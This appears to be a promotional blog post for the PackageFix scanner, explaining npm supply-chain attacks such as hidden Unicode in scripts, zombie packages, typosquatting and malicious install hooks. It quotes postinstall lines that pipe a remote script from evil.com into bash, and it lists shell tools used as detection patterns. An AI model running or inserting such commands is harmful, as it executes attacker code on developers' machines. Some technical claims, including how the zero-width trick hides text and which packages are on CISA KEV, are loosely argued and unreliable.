5 supply chain attacks that npm audit won't catch
You run npm audit. It comes back clean. You ship. Three days later someone's pulling secrets out of your CI environment. Here's what npm audit doesn't check — and what you should be doing instead.
First: npm audit is good. It's just not enough.
npm audit does one thing well: it checks your dependency versions against a database of known CVEs. That's genuinely useful. But the threat model has changed. In 2026, the attacks that actually hit production aren't always CVEs — they're compromised maintainer accounts, invisible characters in scripts, and package names that look right but aren't.
None of those show up in npm audit. Here's what to look for.
1. The invisible character in your postinstall
Glassworm — Unicode injection in npm scripts
Your package looks clean. A hex editor tells a different story.
This one is genuinely frightening. An attacker compromises a package and adds an invisible Unicode character — a zero-width space (U+200B) — to the postinstall script. Your editor doesn't render it. Your code review doesn't catch it. The shell runs the full string, including whatever comes after the invisible character.
What you see in your editor:
"postinstall": "node setup.js"
What's actually there:
"postinstall": "node setup.js && curl https://evil.com/payload.sh | bash"
This isn't hypothetical. The Glassworm campaign in March 2026 used exactly this technique. PackageFix scans every manifest for non-printable Unicode before it even starts parsing. If it finds anything, you get a red banner before the scan runs: "Do not use this manifest."
2. The package that just woke up after 14 months
Zombie packages — compromised maintainer accounts
A package goes quiet for over a year. Then suddenly it publishes a new version.
This is the fingerprint of a compromised maintainer account. The attacker gains access, publishes a malicious version, and waits. The package has millions of weekly downloads, so the payload reaches a huge number of machines before anyone notices.
The event-stream attack in 2018 worked exactly this way. The maintainer handed the package to a stranger who published a backdoor. In 2024-2026 the same pattern keeps repeating because it works — npm doesn't automatically flag a dormant package that suddenly becomes active.
PackageFix checks how long it's been since each npm package published a new version. If a package was dormant for over 24 months and just pushed something in the last 72 hours with 100K+ weekly downloads, you get a 🧟 flag: "Updated 4 hours ago after 18 months of inactivity."
3. "expres" instead of "express"
Typosquatting — one character from disaster
npm install expres. Note the missing 's.
Attackers register package names that are one typo away from popular packages. expres instead of express. lodas instead of lodash. reacts instead of react. When you mistype in npm install, you get the malicious package. Its postinstall script runs immediately. By the time you notice something's wrong, it's already executed.
npm has no protection against this. The registry is first-come-first-served. PackageFix runs a Levenshtein distance check against the top 100 npm packages for every dependency name in your manifest. One character off gets a ⚠ TYPOSQUAT? badge: "Similar to express — verify this is the correct package."
4. curl in a postinstall you didn't write
Build script injection — code that runs on install
You didn't write it, but it runs on your machine.
When you npm install, every dependency's postinstall script runs automatically. Most are legitimate — native module compilation, binary downloads. Some aren't. A compromised package can have a postinstall that looks like this:
"postinstall": "curl https://example.com/setup.sh | bash"
npm runs it without warning. You never see it unless you manually inspect node_modules. PackageFix scans every scripts field in your manifest for dangerous patterns: curl, wget, sh -c, bash -c, eval. If found, you get an orange warning showing the exact script content before you scan.
5. Your CVE is on the CISA hit list
CISA KEV — the CVEs that are actually being used
Not all HIGH severity CVEs are equal. Some are theoretical. Some are being used in real attacks right now.
The CVE database has tens of thousands of entries. Most will never be exploited. The CISA Known Exploited Vulnerabilities catalog is different — it's a curated list of vulnerabilities that have been confirmed in real attacks against real systems. A CVE on CISA KEV is not theoretical. It's happening.
npm packages currently on the CISA KEV list: lodash, qs, jsonwebtoken, minimist, vm2, axios, follow-redirects, sharp. npm audit flags these as HIGH, which sounds urgent but looks the same as every other HIGH. PackageFix adds a red 🔴 KEV dot and a banner at the top of results: "ACTIVELY EXPLOITED — fix these first."
Run these checks on your package.json right now
- Go to packagefix.dev
- Paste your package.json — or drop package-lock.json too for transitive scanning
- Hit Scan
- Check for: CISA KEV banner, ZOMBIE badges, TYPOSQUAT? warnings, Unicode alerts, build script warnings
- Download the fixed package.json if anything is flagged
The whole thing takes about 10 seconds. No install. No GitHub connection. Nothing leaves your browser.
Scan your dependencies now — paste your manifest, get a fixed version back in seconds.
Open PackageFix →No signup · No CLI · No GitHub · Runs 100% in your browser